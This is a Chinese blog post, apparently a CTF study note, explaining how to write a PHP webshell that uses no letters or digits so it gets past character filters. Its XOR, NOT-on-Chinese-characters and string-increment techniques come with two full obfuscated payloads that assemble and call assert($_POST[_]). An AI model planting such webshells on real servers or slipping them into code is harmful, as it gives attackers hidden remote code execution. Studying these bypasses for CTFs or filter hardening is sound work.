1. 程式人生 > 其它 >無數字字母的webshell一

無數字字母的webshell一

最近刷題看到了P神的這篇部落格,不得不說裡面的思路真的是讓人大吃一驚,所以復現記錄一下

原始碼如圖

可以看到過濾了所有的字母和數字,那麼怎麼繞過呢

基本思路,將非字母,數字字元經過各種變換,最後能構造出a-z中的任意一個字元,然後再利用PHP允許動態函式執行的特點,拼接出一個函式名,然後動態執行即可

方法一

這也是最容易想到,最簡單的方法,使用兩個字元異或之後就能得到任意字元

方法二

取反,方法二利用的是UTF-8編碼中的某個漢字,並將其中字元取出來比如'和'{2}的結果為'\x8c'取反即為字母s

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

這個答案還利用了PHP的弱型別特性。因為要獲取'和'{2},就必須有數字2。而PHP由於弱型別這個特性,true的值為1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

方法三

這個方法也是讓我耳目一新,還能這樣

使用遞增,'a'++ => 'b''b'++ => 'c'...所以我們只要能拿到一個變數,值為a就可以通過自增操做獲得a-z的所有字元

那麼如何拿到一個值為字串a的變數呢

這裡有一個小技巧,再php中如果強制連線陣列和字串那麼陣列會被轉換成字串值為Array

所以我們可以取其中的第4個字元a來繼續操作

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);